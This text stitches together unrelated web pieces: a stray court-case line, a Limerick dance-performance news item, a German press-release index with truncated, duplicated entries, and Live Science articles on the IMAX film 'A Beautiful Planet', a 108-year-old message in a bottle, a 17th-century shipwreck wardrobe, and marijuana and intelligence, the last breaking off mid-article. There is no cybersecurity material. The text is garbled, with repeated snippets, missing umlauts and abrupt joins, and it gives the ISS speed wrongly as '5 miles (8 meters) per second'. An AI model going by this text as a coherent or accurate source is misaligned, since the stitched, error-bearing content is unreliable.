Michael Harty is due to appear before Newcastle West District Court again next week while the other three defendants are due to appear in court on June 16.
A GROUP of Limerick based professional dance artists will celebrate International Dance Day with a performance entitled Making Space: Changing Ground.

The six new dance works, performed as one piece, will be premiered at Dance Limerick on Friday, April 29  marking the international day of dance in the process.

Featuring original sound composed by students of the MA in Music Technology at UL, the piece, as explained by collective member Siobhan Ni Dhuinnin, examines the relationships we have with the shifting structures of the world around us.

Creating a map of varied and individual responses to three words - Landscape, Mobility and Change - this unique dance performance showcases a fresh and inventive approach to collaboration, she said of the collective, which also includes Lisa Cahill, Lucy Dawson, Kristyn Fontanella, Isabela Oberlander and Micheal Rowsome.

Were also very excited to be working with students from the MA in Music Technology at UL, as part of this creative, organic process, she added.

Jenny Traynor, Director of Dance Limerick, said the resource organisation was delighted to support professional dance artists in Limerick through the Limerick Dance Collective.

This is an exciting initiative and a wonderful opportunity for contemporary dance artists based here to work together, to learn from and inspire each other and to show Limerick audiences the innovation and creativity that exists on their doorstep, she said.

Making Space: Changing Ground takes place on Friday, April 29 at 8pm. Tickets 10. See www.dancelimerick.ie.
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Pressemitteilung: Altlasten 2.067 Mrd. Euro - Krisensubvention 1.000 Mrd. Euro Die Welt leidet unter der Corona-Pandemie, deren Kosten viele Staaten an den Rand der Exixtens bringen konnte. Wie konnte es in Deutschland dazu kommen? Die Welt leidet unter der Corona-Pandemie, deren Kosten viele Staaten an den Rand der Exixtens bringen konnte. Wie konnte es in Deutschland dazu kommen? Lehrte 29.05.2020 In Deutschland wurden in den letzten 50 Jahren 25 Steuerarten

[mehr] Die Welt leidet unter der Corona-Pandemie, deren Kosten viele Staaten an den Rand der Exixtens bringen konnte. Wie konnte es in Deutschland dazu kommen? Die Welt leidet unter der Corona-Pandemie, deren Kosten viele Staaten an den Rand der Exixtens bringen konnte. Wie konnte es in Deutschland dazu kommen? Lehrte 29.05.2020 In Deutschland wurden in den letzten 50 Jahren 25 Steuerarten

Pressemitteilung: 16. Juni und 18. Juni um 15 Uhr CEST europaischer Zeit Real-Time Innovations (RTI) organisiert zwei neue Webinare speziell fur den europaischen Markt. Hier geht es um die Themen Konnektivitat von Elektrofahrzeugen sowie Landfahrzeugplattformen in Kombination mit Software-Systemen und DDS. Sie finden zu europaischer Zeit um 15 Uhr CEST statt und sind im Anschluss on Demand verfugbar. Sunnyvale (USA)/Munchen, Mai 2020 - Real-Time Innovations (RTI) organisiert zwei neue Webinare speziell fur

[mehr] Real-Time Innovations (RTI) organisiert zwei neue Webinare speziell fur den europaischen Markt. Hier geht es um die Themen Konnektivitat von Elektrofahrzeugen sowie Landfahrzeugplattformen in Kombination mit Software-Systemen und DDS. Sie finden zu europaischer Zeit um 15 Uhr CEST statt und sind im Anschluss on Demand verfugbar. Sunnyvale (USA)/Munchen, Mai 2020 - Real-Time Innovations (RTI) organisiert zwei neue Webinare speziell fur

Pressemitteilung:

[mehr] MCM Investor: Wohnen in Deutschland bis 2060 teuer Laut einer aktuellen Untersuchung der Universitat Freiburg wird das Wohnen bis 2060 vorrausichtlich. Magdeburg, 28.05.2020. In dieser Woche analysiert die MCM Investor Management AG aus Magdeburg eine aktuelle Untersuchung der Uni Freiburg uber die zukunftige Entwicklung des deutschen Immobilienmarktes. Demnach gehe die Bevolkerungszahl hierzulande zwar tendenziell zuruck, die Nachfrage nach Wohnraum steige aber weiter an. In der Studie geht

Pressemitteilung: Latest in Electronic Test & Measurement Equipment MICHIGAN - May, 2020 - An international provider of electronic test and measurement equipment, AAATesters has announced that it now offers the INNO View 500 SM Fiber Optic OTDR w/ V20 Fiberscope (https://www.aaatesters.com/Inno_View_500_OTDR_Model_View500_Inno_500_1.html). This new addition to AAATesters expanding inventory of electronic test and measurement equipment, will assist consumers save time and money with greater testing proficiency and success. AAA

[mehr] MICHIGAN - May, 2020 - An international provider of electronic test and measurement equipment, AAATesters has announced that it now offers the INNO View 500 SM Fiber Optic OTDR w/ V20 Fiberscope (https://www.aaatesters.com/Inno_View_500_OTDR_Model_View500_Inno_500_1.html). This new addition to AAATesters expanding inventory of electronic test and measurement equipment, will assist consumers save time and money with greater testing proficiency and success. AAA

Pressemitteilung: Thomas May ist neuer Chefredakteur fur Perfect Eagle Thomas May ubernimmt mit 1. Juni 2020 die redaktionelle Leitung der fuhrenden multimedialen Golf-Lifestyle-Plattform im deutschsprachigen Raum. Bilder zur Meldung in der Mediendatenbank:  Mato Johannik https://leisure-my.sharepoint.com/:f:/g/personal/office_leisure_at/Es4aLP2m5bhHtlEPowWj1SEB5hhgDDEv96D9i9Z_Ok9ajA?e=Xi0L1x Wien (LCG)  Perfect Eagle hat heuer allen Grund zum Feiern. Nachdem das Golf-Lifestyle-Magazin mit der Marz-Ausgabe seine erste Dekade feierte, begrut Herausgeber Thomas Wasserburger nun Thomas May als neuen Chefredakteur fur das multimediale Golf-

[mehr] Thomas May ubernimmt mit 1. Juni 2020 die redaktionelle Leitung der fuhrenden multimedialen Golf-Lifestyle-Plattform im deutschsprachigen Raum. Bilder zur Meldung in der Mediendatenbank:  Mato Johannik https://leisure-my.sharepoint.com/:f:/g/personal/office_leisure_at/Es4aLP2m5bhHtlEPowWj1SEB5hhgDDEv96D9i9Z_Ok9ajA?e=Xi0L1x Wien (LCG)  Perfect Eagle hat heuer allen Grund zum Feiern. Nachdem das Golf-Lifestyle-Magazin mit der Marz-Ausgabe seine erste Dekade feierte, begrut Herausgeber Thomas Wasserburger nun Thomas May als neuen Chefredakteur fur das multimediale Golf-

Pressemitteilung: Frische fur den Sommer mit UNIKA Kalksandstein Frische fur den Sommer mit UNIKA KalksandsteinFur die einen ist es eine Wohltat, fur die anderen eine Herausforderung: sommerliche Warme. Keine Frage, Menschen lieben die Sonne. Aber nicht jeder mag hohe Temperaturen, schon gar nicht in den eigenen vier Wanden. ... Fur die einen ist es eine Wohltat, fur die anderen eine Herausforderung: sommerliche Warme. Keine Frage, Menschen lieben die

[mehr] Frische fur den Sommer mit UNIKA KalksandsteinFur die einen ist es eine Wohltat, fur die anderen eine Herausforderung: sommerliche Warme. Keine Frage, Menschen lieben die Sonne. Aber nicht jeder mag hohe Temperaturen, schon gar nicht in den eigenen vier Wanden. ... Fur die einen ist es eine Wohltat, fur die anderen eine Herausforderung: sommerliche Warme. Keine Frage, Menschen lieben die

Pressemitteilung:

[mehr] Humor und Lachen - ein ernstes Thema Humor und Corona Rechtzeitig zu einer Zeit, in der vielen das Lachen vergangen ist, mit oder ohne Corona, erscheint das 14. Buch von Jurgen W. Goldfu. Wahrend sich die bisherigen Werke des Autors mit Themen der Fuhrung (von sich und anderen) sowie Wirtschaftsthemen beschaftigten, geht es nun ums Lachen, die Welt und sich selbst mit lachenden Augen zu betrachten. Auf

Pressemitteilung: ...einfach, schnell und effizient ...einfach, schnell und effizientUberall da verkaufen, wo die Kunden sind, ist das Ziel aller Handler. plentymarkets bietet als Softwarehersteller eine E-Commerce-Losung, die genau diese Philosophie im Markenkern tragt. ... Uberall da verkaufen, wo die Kunden sind, ist das Ziel aller Handler. plentymarkets bietet als Softwarehersteller eine E-Commerce-Losung, die genau diese Philosophie im Markenkern tragt. Eine, die alle relevanten Marktplatze unterstutzt

[mehr] ...einfach, schnell und effizientUberall da verkaufen, wo die Kunden sind, ist das Ziel aller Handler. plentymarkets bietet als Softwarehersteller eine E-Commerce-Losung, die genau diese Philosophie im Markenkern tragt. ... Uberall da verkaufen, wo die Kunden sind, ist das Ziel aller Handler. plentymarkets bietet als Softwarehersteller eine E-Commerce-Losung, die genau diese Philosophie im Markenkern tragt. Eine, die alle relevanten Marktplatze unterstutzt

Pressemitteilung:

[mehr] Neuer Corona-Mitarbeiterschutz - digitaler Abstandshalter Auch nach den Lockerungen beeinflusst die Corona-Pandemie die Weltwirtschaft tiefgreifend. Die Betriebe sollen wieder sicher anlaufen. Die Schlusselrolle spielen dabei die Einhaltung der Hygieneregeln und des Mindestabstands fur Mitarbeitende. Auch nach den Lockerungen beeinflusst die Corona-Pandemie die Weltwirtschaft tiefgreifend. Die Betriebe sollen wieder sicher anlaufen. Die Schlusselrolle spielen dabei die Einhaltung der Hygieneregeln und des Mindestabstands fur Mitarbeitende. Dazu

Pressemitteilung: HUP aktiviert neuen Geschaftsbereich ready2boxx my-buddy-app  die HUP Reminder App. Schutzt vor Verlust des iPhones. Mit den ersehnten Lockerungsmanahmen rund um die Coronavirus-Pandemie steigt ein ganz anderes Risiko: der Verlust des iPhones auf Geschaftsreise, beim Einkauf oder etwa dem Besuch von Oma und Opa. Einfach, weil man das mittlerweile nahezu unverzichtbare Device schlicht und einfach liegen lasst. Das Braunschweiger Software-Entwicklungsunternehmen HUP hat fur Apple

[mehr] my-buddy-app  die HUP Reminder App. Schutzt vor Verlust des iPhones. Mit den ersehnten Lockerungsmanahmen rund um die Coronavirus-Pandemie steigt ein ganz anderes Risiko: der Verlust des iPhones auf Geschaftsreise, beim Einkauf oder etwa dem Besuch von Oma und Opa. Einfach, weil man das mittlerweile nahezu unverzichtbare Device schlicht und einfach liegen lasst. Das Braunschweiger Software-Entwicklungsunternehmen HUP hat fur Apple

Pressemitteilung: Das Lernen, wie wir es kennen, andert sich immer mehr. Online ist die neue Ara der Weiterbildung, die Freude macht und die viel leichter in den eigenen Lebens-Zyklus integrierbar ist! Ayurveda-Seminare und Ayurveda-Ausbildungen fordern ein gesundes Leben und geben viel Sinn-Erfullung. Viele Menschen sind wissbegieriger geworden und wollen ihr volles Potenzial durch Bewusstseinsveranderungen ausschopfen. Durch die digitale Welt ist es einfacher und schneller denn je geworden an Informationen zu kommen. Ich stelle

[mehr] Online ist die neue Ara der Weiterbildung, die Freude macht und die viel leichter in den eigenen Lebens-Zyklus integrierbar ist! Ayurveda-Seminare und Ayurveda-Ausbildungen fordern ein gesundes Leben und geben viel Sinn-Erfullung. Viele Menschen sind wissbegieriger geworden und wollen ihr volles Potenzial durch Bewusstseinsveranderungen ausschopfen. Durch die digitale Welt ist es einfacher und schneller denn je geworden an Informationen zu kommen. Ich stelle

Pressemitteilung:

[mehr] Gasnetz Hamburg pruft monatlich 1.200 Hausanschlusse  Arbeiten unter umfassenden Schutzmanahmen  Haushalte erhalten detaillierte Informationen zum Corona-Schutz  Sichere Gasanschlusse stehen im Mittelpunkt Hamburg. Ab sofort klingelt an vielen Hamburger Hausturen wieder der Gasanlagen-Prufer. Die turnusgemae Inspektion der Anschlusse in Kellern oder Wirtschaftsraumen von Ein- und Mehrfamilienhausern ist alle zwolf Jahre vorgeschrieben. Seit Marz hatte Gasnetz Hamburg die Hausbesuche unterbrochen. Nun schickt das Unternehmen wieder seine Fachleute zu den Anschlusskunden

Pressemitteilung: Wie COVID-19 unsere Kommunikation verandert Sprachexpertin Tatjana Lackner von Die Schule des Sprechens analysiert, wie sich das Kommunikationsverhalten in der COVID-19-Zeit verandert und welche Kommunikations-Trends daraus entstehen. Bilder zur Meldung in der Mediendatenbank https://leisure-my.sharepoint.com/:f:/g/personal/office_leisure_at/EuP2VeRtjsdPpxlLUzBimIsB-GcG-m5aFr4de0hEQ_WCPw?e=s2GwN1 Wien (LCG)  Die Manahmen zur Eindammung der COVID-19-Verbreitung verandern durch Physical Distancing und zahlreiche neue Verhaltensregeln den personlichen Umgang miteinander. Korpersprache, Social Codes und Rituale bekommen eine wichtig Bedeutung in der neuen

[mehr] Sprachexpertin Tatjana Lackner von Die Schule des Sprechens analysiert, wie sich das Kommunikationsverhalten in der COVID-19-Zeit verandert und welche Kommunikations-Trends daraus entstehen. Bilder zur Meldung in der Mediendatenbank https://leisure-my.sharepoint.com/:f:/g/personal/office_leisure_at/EuP2VeRtjsdPpxlLUzBimIsB-GcG-m5aFr4de0hEQ_WCPw?e=s2GwN1 Wien (LCG)  Die Manahmen zur Eindammung der COVID-19-Verbreitung verandern durch Physical Distancing und zahlreiche neue Verhaltensregeln den personlichen Umgang miteinander. Korpersprache, Social Codes und Rituale bekommen eine wichtig Bedeutung in der neuen

Pressemitteilung: Facebook diskutiert Strategie in der COVID-19-Pandemie Beim Moving Forward-Round-Table sprechen Facebook-Manager uber die Zusammenarbeit mit der WHO, die Intensivnutzung in Italien und andere Strategien gegen Falschmeldungen. Bilder zur Meldung in der Mediendatenbank:  JMC https://leisure-my.sharepoint.com/:f:/g/personal/office_leisure_at/EsGAMdDUM2lNt4Jo2RfF_R4BhwzfZ8LXK305xeAAjGcAdw?e=EyC94A Video zur Meldung auf Facebook https://www.facebook.com/movingforwardconference/videos/973105823109354 Dublin/Wien (LCG)  Die Verbreitungsgeschwindigkeit der sozialen Medien war in den letzten Wochen essenziell, um Informationen zu COVID-19 zu streuen. Auch Fake News fanden in diesem Umfeld einen fruchtbaren

[mehr] Beim Moving Forward-Round-Table sprechen Facebook-Manager uber die Zusammenarbeit mit der WHO, die Intensivnutzung in Italien und andere Strategien gegen Falschmeldungen. Bilder zur Meldung in der Mediendatenbank:  JMC https://leisure-my.sharepoint.com/:f:/g/personal/office_leisure_at/EsGAMdDUM2lNt4Jo2RfF_R4BhwzfZ8LXK305xeAAjGcAdw?e=EyC94A Video zur Meldung auf Facebook https://www.facebook.com/movingforwardconference/videos/973105823109354 Dublin/Wien (LCG)  Die Verbreitungsgeschwindigkeit der sozialen Medien war in den letzten Wochen essenziell, um Informationen zu COVID-19 zu streuen. Auch Fake News fanden in diesem Umfeld einen fruchtbaren

Pressemitteilung: Musikfestival Steyr: Kulturgenuss trotz Pandemie Als kultureller Impulsgeber fur die Region ermoglicht das Musikfestival Steyr auch heuer Kulturgenuss und wartet mit einem neuen Programm auf. Bilder zur Meldung in der Mediendatenbank https://leisure-my.sharepoint.com/:f:/g/personal/office_leisure_at/EnbiYHVH3KNOg_ZakCqco3wBz529TPFExmEgRThtSEHHQA?e=fAzk1G Steyr (LCG)  In den vergangenen Wochen und Monaten haben die Manahmen der osterreichischen Bundesregierung zur Eindammung der COVID-19-Verbreitung die Kulturnation Osterreich in einen regelrechten Stillstand versetzt. Seit Anfang Mai 2020 setzt die neue Normalitat

[mehr] Als kultureller Impulsgeber fur die Region ermoglicht das Musikfestival Steyr auch heuer Kulturgenuss und wartet mit einem neuen Programm auf. Bilder zur Meldung in der Mediendatenbank https://leisure-my.sharepoint.com/:f:/g/personal/office_leisure_at/EnbiYHVH3KNOg_ZakCqco3wBz529TPFExmEgRThtSEHHQA?e=fAzk1G Steyr (LCG)  In den vergangenen Wochen und Monaten haben die Manahmen der osterreichischen Bundesregierung zur Eindammung der COVID-19-Verbreitung die Kulturnation Osterreich in einen regelrechten Stillstand versetzt. Seit Anfang Mai 2020 setzt die neue Normalitat

Pressemitteilung: OstseeResort Olpenitz bei Kappeln/ Schlei Private Vermietung von ausgefallenen Ferienobjekten an der Ostsee - "Nie mitten drin, aber immer ganz nah dran!" ist hierbei die Devise. Auch wenn die Corona-Pandemie Urlaub und Ferienvermietung weltweit lahm gelegt hat  das Leben im OstseeResort Olpenitz ist trotzdem weitergegangen, und Ferienobjekte in diesem neuen Ferienresort bei Kappeln/ Schlei verkaufen sich weiterhin gut. Oder aber jetzt erst Recht? Das

[mehr] Private Vermietung von ausgefallenen Ferienobjekten an der Ostsee - "Nie mitten drin, aber immer ganz nah dran!" ist hierbei die Devise. Auch wenn die Corona-Pandemie Urlaub und Ferienvermietung weltweit lahm gelegt hat  das Leben im OstseeResort Olpenitz ist trotzdem weitergegangen, und Ferienobjekte in diesem neuen Ferienresort bei Kappeln/ Schlei verkaufen sich weiterhin gut. Oder aber jetzt erst Recht? Das

Pressemitteilung: Gut vernetzt: Ceresana-Report zum Markt fur Kunststoff-Rohre Die Nachfrage nach Kunststoffrohren steigt in vielen europaischen Landern. Besonders in Ballungsraumen werden derzeit neue Wohnungen gebaut. Allerdings boomt die Bauwirtschaft nicht uberall: Ausgelastete Kapazitaten, steigende Preise, Fachkraftemangel, fehlendes Bauland und zunehmende wirtschaftliche Unsicherheit bremsen die Dynamik. Dabei konnen sich Hochbau, Tiefbau und Infrastrukturbau sehr unterschiedlich entwickeln: Die verschiedenen Bausegmente sind in hohem Mae von den offentlichen Investitionen im jeweiligen

[mehr] Die Nachfrage nach Kunststoffrohren steigt in vielen europaischen Landern. Besonders in Ballungsraumen werden derzeit neue Wohnungen gebaut. Allerdings boomt die Bauwirtschaft nicht uberall: Ausgelastete Kapazitaten, steigende Preise, Fachkraftemangel, fehlendes Bauland und zunehmende wirtschaftliche Unsicherheit bremsen die Dynamik. Dabei konnen sich Hochbau, Tiefbau und Infrastrukturbau sehr unterschiedlich entwickeln: Die verschiedenen Bausegmente sind in hohem Mae von den offentlichen Investitionen im jeweiligen
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Most people will never have the experience of flying high over Earth in a spacecraft and seeing the planet's atmosphere, oceans and landmasses unspooling far below.

But now, Earthbound humans can look down on their planet in a way that emulates an astronaut's perspective more closely than anything ever seen before, thanks to "A Beautiful Planet," a new film created in IMAX 3D.

The film uses footage shot by NASA astronauts onboard the International Space Station (ISS). "A Beautiful Planet" is the first movie to use digital technology in space to capture glimpses of Earth and scenes of daily life inside the ISS at IMAX resolution, for projecting on a large-scale theater screen in 3D. [See Spectacular Photos of Earth from 'A Beautiful Planet']

Even the astronauts who shot the movie agreed that seeing the IMAX footage was the next best thing to living in space and peering out of the ISS windows. Kjell Lindgren, one of the film's astronaut cinematographers, told Live Science during a roundtable discussion that IMAX's immersive environment is very similar to what he saw firsthand.

"Having that scene occupy your entire field of view is the closest you can come to actually experiencing it," Lindgren said.

NASA astronaut Kjell Lindgren prepares the IMAX camera for an upcoming shoot onboard the International Space Station. (Image credit: copyright 2016 IMAX Corporation/Photo courtesy of NASA)

"Mini film school"

To prepare for shooting, the astronauts worked closely with Toni Myers, the film's director and editor, and cinematographer James Neihouse in "a mini film school," Lindgren said. The production team familiarized the astronauts with the technical requirements for shooting IMAX and showed them how to use visual elements like composition, camera angles and movement to share their unique view of Earth and their daily routines.

The scale of IMAX projection meant the camera-toting astronauts had to be exceptionally careful with their exposure, focus and steadiness, Neihouse told Live Science.

"Small mistakes become huge mistakes on a big screen," he said.

Myers provided a list of locations on Earth and of ISS scenes  such as sleeping, performing experiments and celebrating Christmas  that she wanted the astronauts to capture. But the scenes weren't scripted, and the astronauts were encouraged to be on the lookout for interesting moments that might arise unexpectedly.

This is easier said than done, though, said astronaut Terry Virts, who captured stills and footage for the film and who has taken more than 500,000 photos in space (more than any other astronaut). Virts explained that the speed at which the ISS travels  5 miles (8 meters) per second  made capturing some of their Earth scenes especially challenging, leaving the astronauts mere moments to grab shots as the ISS hurtled past.

"If you see it and think about it, it's too late," Virts said.

The film is Myers' fourth IMAX movie shot in space, following "Hubble 3D" (2010), "Space Station 3D" (2002) and "Blue Planet" (1990). Improvements in camera capabilities meant that her shot list for the astronauts could include nighttime scenes that would not have been possible to capture using earlier technology: spectacular auroras, flashes from lightning storms and signs of human activity  the sprawl of city lights and fishing boats. [Earth Pictures: Iconic Images of Earth from Space]

A scene from the IMAX film "A Beautiful Planet." In this image, the great lakes of North America lie trapped in ice and snow. (Image credit: copyright 2016 IMAX Corporation/Photo courtesy of NASA)

A sobering sight

But when viewed from the ISS, some signs of human activity revealed a devastating impact on the planet.

Across the length of Madagascar a brown expanse stretched where forests once grew. Plumes of smoke emerged from South American rainforests as swatches of trees burned. Parched landscapes in the American Southwest showed scars left by drought and climbing temperatures.

Climatologist and Director of the NASA Goddard Institute for Space Studies (GISS) Gavin Schmidt is well-acquainted with the evidence of recent and rapid climate change on Earth, but he was still taken aback when he saw the film, he told Live Science. [What a View: Amazing Astronaut Images of Earth]

"I knew it was bad. I didn't know it was that bad," Schmidt said. "That kind of imagery, that's powerful. You see the fingerprint of deforestation, of ice-sheet collapse, pollution from runoff, the bare hillsides of Madagascar."

However, alongside these troubling images, there was still room for optimism, he said.

"The beauty of the system as a whole tells people maybe we can change that, maybe we can have a different fingerprint," Schmidt said.

And perhaps in watching the ways that astronauts interact with the ISS, viewers might learn some lessons about how to treat the Earth, Lindgren suggested.

"We live on the ISS. We spend an inordinate amount of time up there taking care of it, because we recognize that it protects us from the cold, harsh void of space. Look at the Earth from that perspective  it provides us with food, water, protection from radiation. And we don't spend nearly as much time taking care of it as we do on the space station," Lindgren said.

Myers said using the film to help people recognize the similarities between life on the ISS and living on "spaceship Earth" was a goal from the beginning.

"If kids can understand what it takes to keep a crew alive in a closed system like that, and understand that the Earth is exactly the same thing for billions of people  that's the analogy I wanted to pursue," she said.

Nighttime view of Spain and the Mediterranean Sea as seen in the new IMAX film, "A Beautiful Planet." (Image credit: copyright 2016 IMAX Corporation/Photo courtesy of NASA)

Awe and wonder

Lindgren told Live Science that seeing the vastness of Earth from space is life-changing. And in fact, many astronauts have described this profoundly transformative effect. In a recent study, a team of psychologists investigated the emotions described by numerous space travelers, to better understand the mechanisms that inspire these "blissful moments" and how similar emotions manifest in people who have never been to space.

Could an immersive IMAX view of Earth allow more people to share that life-changing perspective? The filmmakers said they believe it can.

"When you look down on Earth, you see it's unique  and fragile," Lindgren said.

"I would hope that we inspire our audience of all ages, but particularly young people, about what a beautiful place our planet is," Myers added, "especially when you see it from this unique perspective. And I would like to inspire them to take good care of it and look for solutions to some of the problems we have."

Would-be astronauts can embark on their own "voyage" into near-Earth orbit when "A Beautiful Planet" opens in IMAX theaters on April 29.

Follow Mindy Weisberger on Twitter and Google+. Follow us @livescience, Facebook & Google+. Original article on Live Science.
Now considered the oldest message in a bottle, this post card was thrown into the North Sea in 1906.

The oldest message in a bottle spent 108 years, 4 months and 18 days at sea.

After being cast into the sea by the Marine Biological Association of the United Kingdom (MBA) in November 1906, the message washed up at Amrum Island, in Germany, on April 17, 2015. This year, Guinness World Records recognized it as the oldest message in a bottle ever found.

One of more than 1,000 bottles thrown into the North Sea by marine biologist George Parker Bidder, the bottle was part of a research project on the patterns of ocean currents. More than a century later, a letter containing an original postcard from one of his bottles arrived in the mail at the MBA's Plymouth laboratory in the United Kingdom. [History's 10 Most Overlooked Mysteries]

A German woman discovered the bottle while visiting Amrum, one of Germany's North Frisian Islands. The postcard inside promised a reward of 1 shilling (a former unit of currency that was equivalent to 12 pence) for filling in some information and returning the postcard. The MBA was determined to send her the proper reward.

"We found an old shilling, I think we got it on eBay," Guy Baker, communications officer at MBA, told the Guardian. "We sent it to her with a letter saying thank you."

Bidder's 1906 experiment was a form of what is now called "citizen science." The bottles were reportedly returned at a rate of around 55 percent  largely from fishermen encouraged by the reward  and the marine biologist was able to prove that the North Sea's deep-sea current flowed from east to west.

Though this bottle's recent discovery missed its place in Bidder's original research, it now has its own place in history as the Guinness World Record holder for the world's oldest message in a bottle.

Messages in bottles have long fascinated the public and researchers alike.

Indeed, they've long been fixtures of heartwarming stories. In 2014, a bottle was discovered containing a message written by a young German man during a nature hike on May 17, 1913, Live Science reported. After the discovery, researchers were able to locate his granddaughter and give her a note from her grandfather, whom she'd never met.

Another rare find was a message in a bottle found not at sea, but under a rock pile in the Canadian Arctic. Left by American glaciologist Paul T. Walker in 1959, the message described his glacial research and was found by other researchers 54 years later.

Walker's message was particularly impactful, as he suffered a stroke during that expedition and died shortly thereafter. "We were reading some of his last words," said Warwick F. Vincent, director of the Center for Northern Studies at Laval University in Canada, and one of the researchers who found the message, as reported by Live Science.

Messages can be adrift (or buried) for decades, but some more modern messages in bottles have been discovered as well. For instance, in 2011, a bottle was found on an Australian beach, 6,000 miles (9,600 kilometers) from its origin, 14 years after being cast into the sea  during a cruise in February 1997, retired Texas Tech professor George Tereshkovich had written out a message, placed it in a bottle with his business card, and tossed it into the ocean.

"I told the wife what I was going to do," Tereshkovich said in a statement. "She thought I was seasick or something, throwing a note overboard. We continued cruising, and I completely forgot about it."

Whether a decade or a century passes, each message in a bottle has a story to tell.

Follow us @livescience, Facebook& Google+. Original article on Live Science.
A box filled with perfectly preserved clothing from the English Royal Court was recovered from a 17th-century shipwreck.

The opulent wardrobe, which includes a gorgeously decorated gown in near-perfect condition, is currently on display in the Netherlands. The lady who wore this lavish wardrobe was likely the Scottish lady-in-waiting Jean Kerr, Countess of Roxburghe, the confidante of English Queen Henrietta Maria, the researchers said in a statement.

"We have seldom  perhaps even never  witnessed a find of this scale in a maritime context," Maarten van Bommel, a conservation scientist at the University of Amsterdam, said in a statement. [See Images of the Stunning 17th-Century Royal Wardrobe]

The collection serves as a kind of time capsule that reveals the clothing tastes of the elite of the period, the researchers said in the statement.

Treasures beneath the deep

The shipwreck was unearthed in the Wadden Sea, just off the island of Texel, which is part of the Netherlands. The narrow waterway was a tempting place for sailors to drop anchor while waiting for cargo or to wait out squalls. But as a result, the waterway is a graveyard where hundreds of ships sank during rough storms. The sandy seafloor, which can bury artifacts and other objects, also helps to preserve shipwrecks. Winds and weather occasionally jostle the sands, revealing previously hidden wrecks.

In the current shipwreck, maritime archaeologists unearthed a clothing box filled with many different pieces of apparel, including a cloak, stockings and bodices decorated with staggering amounts of gold and silver thread. All of the clothing was of approximately the same size, suggesting that it was probably the wardrobe of one woman, of "fairly hefty size," researchers say. The box also included Italian pottery, a beaded handbag, a silver chalice and perfumes, as well as book covers emblazoned with the seal of the Royal House of Stuart in England.

Based on other items in the box, along with other items in the shipwreck, researchers concluded that the finds are almost 400 years old.

However, the identity of the wardrobes' owners remained a mystery until historians Nadine Akkerman from Leiden University in the Netherlands and Helmer Helmers from the University of Amsterdam put the pieces together. The experts on the English House of Stuart found a letter written on March 17, 1642, from Princess Elizabeth Stuart, who mentioned that her sister-in-law Henrietta's baggage ships had gone down, carrying vessels from her private chapel, as well as the clothing of her ladies-in-waiting.

Based on the size and more matronly style of the clothing, the team deduced that the clothes belonged to Kerr, the elder of the two ladies-in-waiting.

The princess was in the Dutch Republic ostensibly to send her 11-year-old daughter Mary to her new husband, William II, Prince of Orange. In reality, she was there to sell the royal jewels to buy weapons for King Charles, who was embroiled in the English Civil War.

Elite wardrobe

The showstopper in the collection is a Japanese silk damask dress, or tabbert. The lack of silver or gold threading suggests that the dress was everyday wear for its high-status owner. Its ornate bodice fed into a large, fluffy collar. It had loose, long sleeves capped with ornate shoulder decorations, a v-shaped ruffle at the hips, and a very long train, according to the statement. The style of the dress is somewhat reminiscent of fashions worn by Queen Elizabeth I in paintings.

It's extremely rare to find such well-preserved textiles from the 1600s, especially if they've been submerged in water for centuries, the researchers said. However, the dress is not in perfect condition. The armpits have rips in the seams, and there are some holes in the dress. Some of the wear patterns suggest that the dress was actually worn, unlike other items found in the box. In addition, the dress has been creased and folded in the same position for centuries, making it hard to see what it would have looked like when worn. However, ironing is out of the question, as any heat could irreparably damage the delicate fibers in the dress, the researchers said.

Those in the Netherlands can see the stunning robe, along with other items from the collection, through May 16 at the Museum Kaap Skil, a maritime and beachcomber museum in Oudeschild, the Netherlands. After that, the collection is scheduled to be sent to Hilde's House in Holland for archaeological preservation and study, the researchers said.

Follow Tia Ghose on Twitterand Google+. Follow Live Science @livescience, Facebook & Google+. Original article on Live Science.
The stereotype of an avid marijuana smoker is not flattering: slow, unmotivated, a little bit dulled by all that weed. But the science to back up this stereotype is far from clear.

Research is mixed as to whether marijuana causes declines in intelligence and functioning over time. Animal studies and some brain scans in humans provide reason for concern: Marijuana is psychoactive, and may cause structural brain changes. In people, weed's cognitive effects seem to last at least several weeks after use, long after the person stops feeling intoxicated. But only a few studies have revealed insight into whether pot lowers IQ in the long term, and those studies have returned conflicting results. [11 Odd Facts About Marijuana]

Hazy research

The recreational use of marijuana is now legal in four states (Alaska, Colorado, Oregon and Washington) and the District of Columbia. Many other states have decriminalized the drug, and some also allow the use of medical marijuana. And a 2013 Gallup poll found that 58 percent of Americans support marijuana legalization, up from a mere 12 percent in 1969. In other words, the drug has never been more mainstream.

Despite the loosened regulations, however, marijuana research has lagged. Much of the reason has to do with the difficulty of getting marijuana for study, said Nick Jackson, a statistician at the University of Southern California and a co-author of one of the few longitudinal studies (which follow people over time) on marijuana use. In fact, there has been about three times more animal research on cocaine than on marijuana.

"You didn't need to jump through the same number of hoops to get cocaine to test on your animals as you do to get marijuana," Jackson told Live Science. The National Institute on Drug Abuse and the Drug Enforcement Administration contract with only one lab (at the University of Mississippi) to make marijuana available to researchers.

The Food and Drug Administration recently relaxed its rules for approving marijuana research, Jackson said. "Things are changing slowly but surely," he told Live Science. "But our research in this area is far behind where it needs to be." [The Drug Talk: 7 New Tips for Today's Parents]

That's why the answer to the question, "Does pot make people stupid?" is more complicated than it might seem.

Animal studies suggest that pot is not necessarily great for the brain. Rats exposed to marijuana's active ingredient, tetrahydrocannabinol (THC), experience brain changes and cognitive impairment. And short-term studies with human subjects clearly point to impacts on memory, learning and attention even once a user has sobered up. One 1996 study published in the Journal of the American Medical Association, for example, found that daily marijuana users did more poorly on tests of attention and executive function (such as planning and self-control) than people who'd smoked pot only once the month before, even though both groups abstained for at least 19 hours before the testing. The drug's effects may persist at least 20 days after smoking, according to a 2011 review on the topic.

But the burning question is whether pot hurts the brain in the long run. Does smoking the occasional joint as a teenager mess up your cognitive abilities for life? What if you pick up a pot habit as an adult, after the brain has completed its adolescent growth spurt? Does the dose make a difference?

Here, the answers are a lot fuzzier. Brain-scan studies in humans suggest that pot may be linked to anatomical brain changes, such as shrinking of the amygdala, a brain region that processes emotion, reward and fear. In some people with genetic vulnerability, such brain changes might be enough to tip someone into schizophrenia, which is more common in people who have used marijuana. However, the genes in question may lead people to smoke more pot and to be more prone to schizophrenia, rather than directly causing the link between pot and psychosis.

And that's the problem with trying to tease out pot's effects: People who use the drug are likely different from people who don't. Thus, studies comparing smokers with nonsmokers at a moment in time are of limited use: Maybe pot caused the cognitive effects you might find, or maybe some other factor explains the difference. [7 Ways Alcohol Affects Your Health]

Looking long-term

